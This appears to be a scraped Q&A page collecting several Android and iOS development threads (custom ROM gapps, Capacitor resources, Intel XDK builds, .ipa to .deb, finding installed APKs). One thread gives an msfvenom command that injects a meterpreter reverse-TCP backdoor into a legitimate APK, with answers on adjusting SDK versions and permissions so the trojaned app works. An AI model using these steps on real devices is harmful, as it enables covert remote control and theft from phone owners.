Add gapps to custom rom? - android-source

I am really new to rom development, however i managed to build a custom rom for galaxy nexus. I obviously dont have gapps.
I am wondering how can i incorporate gapps in the build without having to flash a .zip file?
The apps are not open source and they are prebuilt apk.

Find the APK files for the Google apps that you would like to include. Copy each one under the directory /system/app/ and chmod 644 (change permissions to rwrr). Recompile your ROM and flash it as you'd like.

goto https://github.com/opengapps and in opengapps repo follow the instruction.. there will be a common makefile to initiate the build then you have to add its path to your romname_device.mk

You can use micro g project for using google services in custom ROMs. For example in Replicant ROM microg is used. Micro g has multiple tools such as location services , appstore and etc.

Related

Capacitor did not create 'resources' folder

I am currently building an application using Ionic + Angular, with Capacitor for iOS & Android applications.
As mentioned in the doc, I ran the following command to generate android and iOS platforms to the app:
npx cap add android
and
npx cap add ios
I have observed the project structure of Ionic + Capacitor applications in Github and other resources and they all have this structure:
But the app I have has something else instead.
This does not look like a good practice. Moreover, if I wanted some resources like "Splash Screen" in my application, it will require a resources directory. Is there a way to manage this, so I have all iOS & android related files within the resources directory without breaking the existing application?
Every project have two android as well as IOS folders, one in the root directory which contains the platform data and one in the resources directory which contains the resources for the respective platform. The android and ios folders in the resources folder will be auto generated once you run the generate resources command. The folders you moving manually are the platform folders not the resources folders and they should be kept in the root directory of the project.
Follow the steps to generate resources

payload injected app doesn't ask for any permissions

I'm trying to trying to inject an apk with msfvenom payload, and thus get a backdoor on my android device upon installing it. Why isn't it asking for permissions upon installation?
In the past I've been able to successfully create a standalone payload and get a backdoor tunnel to my device.
msfvenom -p android/meterpreter/reverse_tcp -x /Users/root/Downloads/newApp.apk LHOST=[IP] LPORT=[port] -o /Users/root/Desktop/android.apk
I expected the app to ask for all the permissions specified in manifest file, but it isn't asking for any during installation or at runtime.
I had the same problem, but I have found a fix for it.
create apk file injected with payload.
install it on your phone.
install APK Editor pro v1.9.7.
open the apk editor and search for the injected apk click on it and click on COMMON EDIT.
change Minimum SDK version to 10 and Target SDK Version to 17.
I have already checked it and it's working
You need to specify what permissions the Main.apk has in your device..did you check those?If it has not asked for permission chances are it has no permission.
I have found some problems in the payload generation, but I have also found a solution.
1.- Inject the payload in the original application.
2.- Install the apk file on an android device.
3.- Go to application settings and search for the infected application.
4.- Grant all permissions.
And that's it, this worked for me.

Build my cross platform applications using intel XDK without cloud support?

I recently start using Intel XDK. I found that for each platform creation my code will go to Intel cloud center to perform the build. Its a feature mentioned at Product Brief IntelĀ® XDK.
Can I build that locally? I mean can I build locally in my system itself using Intel XDK? If so, then how?
are you afraid of intel knowing your code? in cordova\html5 app your code is available to anyone just get the apk from the store open with winrar and your code is there
if you want offline build there is no problem just read the cordova\phonegap docs step by step.
As you, I needed to build locally my application, principally to debug once Intel XDK, at least in the version 1621, does not provide support to load third-party-plugins(eg: PhoneGap Push Plugin) on Intel App Preview debug mode. Another problem was generate an iPhone build for beta tests.
My solution was, as the others suggested, to create an similar cordova project and copy the main files from my Intel XDK Project, www folder to be more specific. Config files will be found in platforms folder once you build using cordova/phonegap.
It allowed me to build for android on my machine. Debug was easy using "Chrome Inspect" because cordova generates an debug-unaligned.apk.
Allowed me to have access to the iOS build files, this is a good thing to do if you want to build using Xcode instead.
I Hope it help you.

Converting an iOS app installer(.ipa) to .deb

Is it possible to convert a .ipa installer into a .deb? I have jail broken my phone, and all the Cydia apps are installed with a .deb installer. All apps installed with .ipa s are classified as "User Applications" while .deb s are under "System Applcations". For some reason none of my User Applications work, and I was thinking if I could repackage those user applications into .deb s and install them as system applications. Does anyone know a solution?
I personally have created some scripts to build the proper package layout for .deb packages. But, if you're starting from scratch, you might want to check out Theos, which is a tool used by a lot of jailbreak developers to create their packages.
http://iphonedevwiki.net/index.php/Theos/Getting_Started
A .deb is a debian package file. It's fairly easy to create them, you just need to put the files you want to install on their respective paths and create the proper control files.
I recommend you google how to create deb packages, and how to extract them, then you get a deb from your device and extract it's files to use those control files as a template.
After that, I think it's a simple terminal command (in linux or your iPhone's SSH) to package your app into a deb.

Where can I find the b4a .apk on my phone after It gets installed?

I wanted to send the file to a friend via Bluetooth tonight but could not seem to find the apk file on the phone file system, but the icon was installed and in my apps?
Any help would be appreciated. Cheers
You do not have access to the install APK files. The APK is available on the desktop under the Objects folder.
If you install an application, the APK file is stored in teh /data/app folder on your system.
You'll need root access to get the apk from there and an file explorer program like root explorer to get there.
You can download an app like app backup and restore to backup this particular application. Download link from play store, https://play.google.com/store/apps/details?id=mobi.infolife.appbackup
Next u can go to backup, select the app and send, or goto the folders and you will see a folder nameed app backup and restore, from there you can copy to pc or still share to anybody